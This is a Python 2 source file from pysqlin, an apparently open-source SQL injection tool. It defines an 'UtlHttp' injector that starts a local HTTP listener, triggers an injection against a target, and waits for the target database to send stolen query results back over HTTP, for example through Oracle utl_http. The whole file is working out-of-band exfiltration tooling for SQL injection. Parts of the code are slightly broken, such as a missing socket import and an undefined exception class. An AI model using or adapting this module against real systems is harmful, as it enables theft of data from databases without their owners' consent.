'''
http.py

Copyright 2009 Xavier Mendez Navarro aka Javi

This file is part of pysqlin

pysqlin is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

pysqlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with pysqlin; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
'''

import logging
import time
import re
import urlparse
from Queue import Queue
from Queue import Empty
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import thread

from framework.baseclass import BInjector
from framework.interfaces import IInjector

queue = Queue()

class StoppableHTTPServer(HTTPServer):
    """
    http://code.activestate.com/recipes/425210/
    """

    def server_bind(self):
        HTTPServer.server_bind(self)
        self.socket.settimeout(10)
        self.run = True

    def get_request(self):
	while self.run:
	    try:
		sock, addr = self.socket.accept()
		sock.settimeout(None)
		return (sock, addr)
	    except socket.timeout:
		if not self.run:
		    raise socket.error

    def stop(self):
        self.run = False

    def serve(self):
	#while self.run:
	self.handle_request()

class MyHandler(BaseHTTPRequestHandler):
    keep_running = True

    def do_GET(self):
        self.send_response(200, 'OK')
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write( "pysqlin" )

        (scm, netloc, path, params, query, fragment) = urlparse.urlparse( self.path, 'http')
	params = dict(part.split('=') for part in query.split('&'))
	#cgi.parse_qs(urlparse.urlsplit(foo).query)

	queue.put(params)

    def log_message(self, format, *args):
	pass

class UtlHttp(IInjector, BInjector):
    def __init__(self, api):
	BInjector.__init__(self, api)

	self.__logger = logging.getLogger('framework.mythreading.UtlHttp')

	self.timeout = 5
	self.httpd = None

    def name(self): return "UtlHttp"
    def description(self): return "Exploits sql injections receiving data through http, ex. Oracle utl_http"
    def parameters(self): 
	return dict(
	    lport = ('53', 'HTTP Server listen port.'),
	    parameter = ('result', 'URL Variable containing data.' ),
	)

    def check_parameters(self, data):
	try:
	    self.port = int(data['lport'])
	except ValueError:
	    raise MyException("Must define a correct server port")

	if not data['parameter']:
	    raise MyException("Must define a parameter name for receiving data")

    def cancel_job(self):
	if self.httpd: self.httpd.stop()

	while not queue.empty():
	    queue.get()

	self.httpd = None

    def launch_job(self, sqli):
	self.__logger.debug("launch_job. START")

	try:
	    self.httpd = StoppableHTTPServer(('',self.port), MyHandler)
	    thread.start_new_thread(self.httpd.serve, ())
	except Exception, e:
	    raise MyException("Error starting server: %s " % e)

	code, content = sqli.perform()
	try:
	    http_params = queue.get(timeout=self.timeout)
	    res = http_params[sqli.injection_data['parameter']]
	    if res: return res
	    else: return None
	except Empty, e:
	    raise MyException("Timeout while waiting for http response")
	except KeyError, e:
	    raise MyException("Defined url parameter not found in http request")
	finally:
	    self.cancel_job()

	return None

def load(api):
    return UtlHttp(api)
